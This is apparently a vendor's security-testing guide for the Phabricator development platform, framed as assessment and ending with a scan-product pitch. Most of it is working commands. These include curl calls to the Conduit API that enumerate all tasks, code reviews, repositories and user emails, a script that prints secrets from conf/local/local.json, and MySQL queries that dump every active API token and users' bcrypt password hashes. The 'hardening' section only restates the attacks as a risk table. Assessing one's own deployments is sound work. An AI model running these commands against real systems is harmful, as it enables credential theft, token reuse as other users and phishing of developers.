Phabricator Security Testing: Default Credentials, Conduit API, Database, and Config

Phabricator is a widely deployed open-source software development platform (used by Facebook, Wikimedia, and many organizations) covering code review (Differential), task tracking (Maniphest), repository hosting (Diffusion), and project management, making it a high-value target as it centralizes source code and development workflows. Key assessment areas: Phabricator's Conduit API provides programmatic access to all tasks, code reviews, repositories, users, and project data; conf/local/local.json stores the MySQL database credentials; the conduit_token database table stores all API tokens; Diffusion (repository hosting) may allow cloning repositories without authentication on misconfigured instances; and Phabricator's file storage may expose uploaded files and code attachments. This guide covers systematic Phabricator security assessment.

Table of Contents

  1. Authentication and Conduit API Token Testing
  2. Conduit API Task, Repository, and User Enumeration
  3. local.json Database Credentials and MySQL Access
  4. Phabricator Security Hardening

Authentication and Conduit API Token Testing

# Phabricator — authentication and Conduit API token testing
PHAB_URL="https://phabricator.example.com"

# Phabricator Conduit API authentication — token-based
# Generate a Conduit token: Settings > Conduit API Tokens
CONDUIT_TOKEN="cli-abc123yourtokenhere"

# Verify token and get current user identity
curl -s -X POST "${PHAB_URL}/api/user.whoami" \
  -d "api.token=${CONDUIT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
r=d.get('result',{})
if r:
    print(f'Authenticated as: {r.get(\"userName\")} ({r.get(\"primaryEmail\")})')
    print(f'PHID: {r.get(\"phid\")}')
    print(f'Is admin: {r.get(\"isAdmin\")}')
else:
    print(f'Error: {d.get(\"error_info\")}')
" 2>/dev/null

# Enumerate all Conduit API tokens in the database (with DB access)
# conduit_token table — lists all active API tokens
mysql -u phabricator -p"DB_PASSWORD" phabricator_conduit 2>/dev/null << 'EOF'
SELECT ct.tokenType, ct.token, ct.userPHID,
       u.userName, u.userEmail
FROM conduit_token ct
JOIN phabricator_user.user u ON ct.userPHID = u.phid
WHERE ct.expired IS NULL OR ct.expired = 0
ORDER BY u.userName;
EOF

Conduit API Task, Repository, and User Enumeration

# Phabricator Conduit API — task, repository, and user enumeration
PHAB_URL="https://phabricator.example.com"
CONDUIT_TOKEN="cli-your-token-here"

# Maniphest — enumerate all tasks including private ones (if admin)
curl -s -X POST "${PHAB_URL}/api/maniphest.search" \
  -d "api.token=${CONDUIT_TOKEN}" \
  -d "queryKey=all" \
  -d "limit=100" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
tasks = d.get('result',{}).get('data',[])
print(f'Tasks: {len(tasks)}')
for t in tasks[:10]:
    fields = t.get('fields',{})
    print(f'  T{t.get(\"id\")}: {fields.get(\"name\")} status={fields.get(\"status\",{}).get(\"value\")} priority={fields.get(\"priority\",{}).get(\"value\")}')
" 2>/dev/null

# Differential — all code reviews (diffs contain source code)
curl -s -X POST "${PHAB_URL}/api/differential.revision.search" \
  -d "api.token=${CONDUIT_TOKEN}" \
  -d "queryKey=all" \
  -d "limit=50" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
revs = d.get('result',{}).get('data',[])
print(f'Code reviews: {len(revs)}')
for r in revs[:5]:
    fields = r.get('fields',{})
    print(f'  D{r.get(\"id\")}: {fields.get(\"title\")} status={fields.get(\"status\",{}).get(\"value\")}')
" 2>/dev/null

# Diffusion — list all repositories (source code access)
curl -s -X POST "${PHAB_URL}/api/diffusion.repository.search" \
  -d "api.token=${CONDUIT_TOKEN}" \
  -d "limit=50" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
repos = d.get('result',{}).get('data',[])
print(f'Repositories: {len(repos)}')
for r in repos[:10]:
    fields = r.get('fields',{})
    uris = fields.get('uri',{})
    print(f'  [{r.get(\"id\")}] {fields.get(\"name\")} vcs={fields.get(\"vcs\")} uri={uris.get(\"effective\")}')
" 2>/dev/null

# User enumeration — all accounts with emails
curl -s -X POST "${PHAB_URL}/api/user.search" \
  -d "api.token=${CONDUIT_TOKEN}" \
  -d "limit=100" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('result',{}).get('data',[])
print(f'Users: {len(users)}')
for u in users[:10]:
    fields = u.get('fields',{})
    print(f'  {fields.get(\"username\")} email={fields.get(\"primaryEmail\")} roles={fields.get(\"roles\")}')
" 2>/dev/null

local.json Database Credentials and MySQL Access

# Phabricator local.json and database credential extraction

# conf/local/local.json — MySQL credentials and configuration
cat /var/www/phabricator/conf/local/local.json 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for k,v in d.items():
    if any(s in k.lower() for s in ['pass','secret','key','mysql','storage']):
        print(f'{k}: {v}')
" 2>/dev/null
# mysql.pass — database password
# storage.local-disk.path — file storage path
# phabricator.base-uri — deployment URL

# MySQL direct access — all Phabricator databases
# Phabricator uses a separate database per application
mysql -u phabricator -p"DB_PASSWORD" 2>/dev/null << 'EOF'
SHOW DATABASES LIKE 'phabricator_%';
EOF
# Returns: phabricator_user, phabricator_maniphest, phabricator_differential,
#          phabricator_repository, phabricator_conduit, etc.

# phabricator_user — all user accounts and bcrypt password hashes
mysql -u phabricator -p"DB_PASSWORD" phabricator_user 2>/dev/null << 'EOF'
SELECT u.userName, u.userEmail, u.isAdmin, u.isDisabled,
       p.passwordHash
FROM user u
LEFT JOIN user_password p ON u.phid = p.userPHID
LIMIT 20;
EOF

# phabricator_repository — all repos including private
mysql -u phabricator -p"DB_PASSWORD" phabricator_repository 2>/dev/null << 'EOF'
SELECT name, callsign, versionControlSystem, localPath, isImporting
FROM repository
WHERE isImporting = 0
LIMIT 20;
EOF

Phabricator Security Hardening

Phabricator Security Hardening Checklist:
Security TestMethodRisk
Conduit API task and code review enumerationPOST /api/maniphest.search queryKey:all — all tasks; POST /api/differential.revision.search — all code reviews with diff content; high-value data on development priorities and source code changesCritical
Repository enumeration and clone accessPOST /api/diffusion.repository.search — all repos with URIs; git clone via SSH using user's key or unauthenticated if misconfigured; full source code access for all hosted repositoriesCritical
local.json MySQL credential extractionRead conf/local/local.json — mysql.pass database password; direct MySQL access to all Phabricator databases including users (bcrypt hashes), conduit tokens, and all development dataCritical
conduit_token table API key enumerationMySQL SELECT from phabricator_conduit.conduit_token — all active API tokens with user PHID; enables API access as any user by reusing their tokenCritical
User email harvestingPOST /api/user.search — all users with primary emails and admin status; enables targeted phishing and credential attacks against developers and adminsHigh

Automate Phabricator Security Testing

Ironimo tests Phabricator deployments for Conduit API authentication, task and code review enumeration via Maniphest and Differential, repository access testing via Diffusion, local.json MySQL credential extraction, conduit_token table active key enumeration, user email harvesting, file storage path exposure testing, repository policy misconfiguration detection, and SSH key audit for deactivated users.

Start free scan